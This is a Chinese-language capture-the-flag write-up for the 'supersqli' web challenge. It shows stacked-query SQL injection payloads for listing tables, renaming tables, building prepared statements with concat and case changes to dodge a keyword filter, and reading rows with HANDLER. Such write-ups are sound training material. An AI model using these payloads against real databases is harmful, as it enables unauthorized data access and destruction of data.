攻防世界supersqli_writeup
攻防世界supersqli_writeup
web这进阶区也不简单啊,为什么有那么多人做出来了…
参考:https://www.cnblogs.com/hugboy/p/13477856.html
0x01 判断漏洞存在
首先,做一个引号闭合,看他用的是单引号还是双引号:
输入1'
和1"
,发现前者报错:
那么我们就知道用单引号闭合了,那我们可以先看看这个表里面有什么东西1' or 1=1;#
:
表里面有三行,那估计我们要的值实是在其他表里了。
0x02 查看数据库和表的情况
1';show tables;#
查询所有的表:
也就是说,我们这个数据库中有两个表,这时候我们可以查看一下表中的内容:
1';show columns from words;#
可以看到words就是我们当前使用的表格,然后再看另一个表:
1';show columns from 1919810931114514;#
通过上面这个命令执行发现没有显示,这是因为纯数字的话需要添加反引号包裹:
1’;show columns from `1919810931114514`;#
用上述shellcode查询后:
可以看到,这个就应该是我们需要的字段!
0x03 绕过限制
我们直接查1919810931114514表中的内容试试:1’; select * from `1919810931114514`;#
发现不行,做了过滤,以下关键词都不让用,改变大小写也无效:
这时候,就存在多种解决方案了,首先先上官方做法:
一、改表名法
1 | ; alter tables words rename to words1; # |
这样就把我们的1919810931114514的表明改为了word,由于系统默认查询的是words,因此此时只需要:
1' or 1=1 #
:
结果发现出了点小问题,怎么回事?原来是因为默认查找的words表中必须有id字段,那我们再加一条:
; alter tables words change flag id varchar(50); #
但是这里已经闭合不上了,重新起一遍环境:
直接三句话合成一句一波搞定:
1 | 1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);# |
改完查一查到底改了没:
1’;show tables;
可以的,我们此时就可以直接查询原1919810931114514的所有项了:1’ or 1=1;#
好,搞定了,因为懒得改回去,所以我们重新再起一遍环境,开启下一种解法。
二、预编译法
参考:https://www.cnblogs.com/micrari/p/7112781.html
通常我们的一条sql在db接收到最终执行完毕返回可以分为下面三个过程:
- 词法和语义解析
- 优化sql语句,制定执行计划
- 执行并返回结果
我们把这种普通语句称作Immediate Statements。
但是很多情况,我们的一条sql语句可能会反复执行,或者每次执行的时候只有个别的值不同(比如query的where子句值不同,update的set子句值不同,insert的values值不同)。
如果每次都需要经过上面的词法语义解析、语句优化、制定执行计划等,则效率就明显不行了。所谓预编译语句就是将这类语句中的值用占位符替代,可以视为将sql语句模板化或者说参数化,一般称这类语句叫Prepared Statements或者Parameterized Statements
预编译语句的优势在于归纳为:一次编译、多次运行,省去了解析优化等过程;此外预编译语句能防止sql注入。
当然就优化来说,很多时候最优的执行计划不是光靠知道sql语句的模板就能决定了,往往就是需要通过具体值来预估出成本代价。
首先呢,我们用sql定义一个字符串变量,在其中使用concat绕过内容限制;
然后使用set
命令对这个变量中的内容进行预编译
最后使用excute
命令直接执行该语句;
编译
set @sql = concat(‘sele’,’ct * from `1919810931114514`;’);
prepare stm from @sql;
执行
execute stm;–+
最终构造语句:
set @sql = concat(‘sele’,’ct * from 1919810931114514
;’);prepare stm from @sql;execute stm;#
执行以下:
发现竟然不行。。。仔细观察返回内容,可以看到使用限制的函数是strstr,有点搞笑,直接大写绕过:
1’;sEt @sql = concat(‘sele’,’ct * from 1919810931114514
;’);prEpare smt from @sql;execute smt;#
成功了!
strstr的使用比较愚蠢,如果使用对于大小写不敏感的*strstrw()*,或许会更难使用这种方法吧~
三、使用handler执行
handler介绍参考:https://blog.csdn.net/qq_43427482/article/details/109898934
注入教程参考:https://blog.csdn.net/nicesa/article/details/106390405
MySQL 除了可以使用 select 查询表中的数据,也可使用 handler 语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler 语句并不具备 select 语句的所有功能。它是 MySQL 专用的语句,并没有包含到SQL标准中。handler 语句提供通往表的直接通道的存储引擎接口,可以用于 MyISAM 和 InnoDB 表。
使用方法:
handler table_name open打开一张表
handel table_name read first读取第一行内容,
handel table_name read next依次获取其它行
最后一行执行之后再执行handel table_name read next会返回一个空的结果
1’;handler `1919810931114514` open;handler `1919810931114514` read first;#
直接使用这句话:
牛,确实还是这个最快,改名字属实是奇葩思路。。.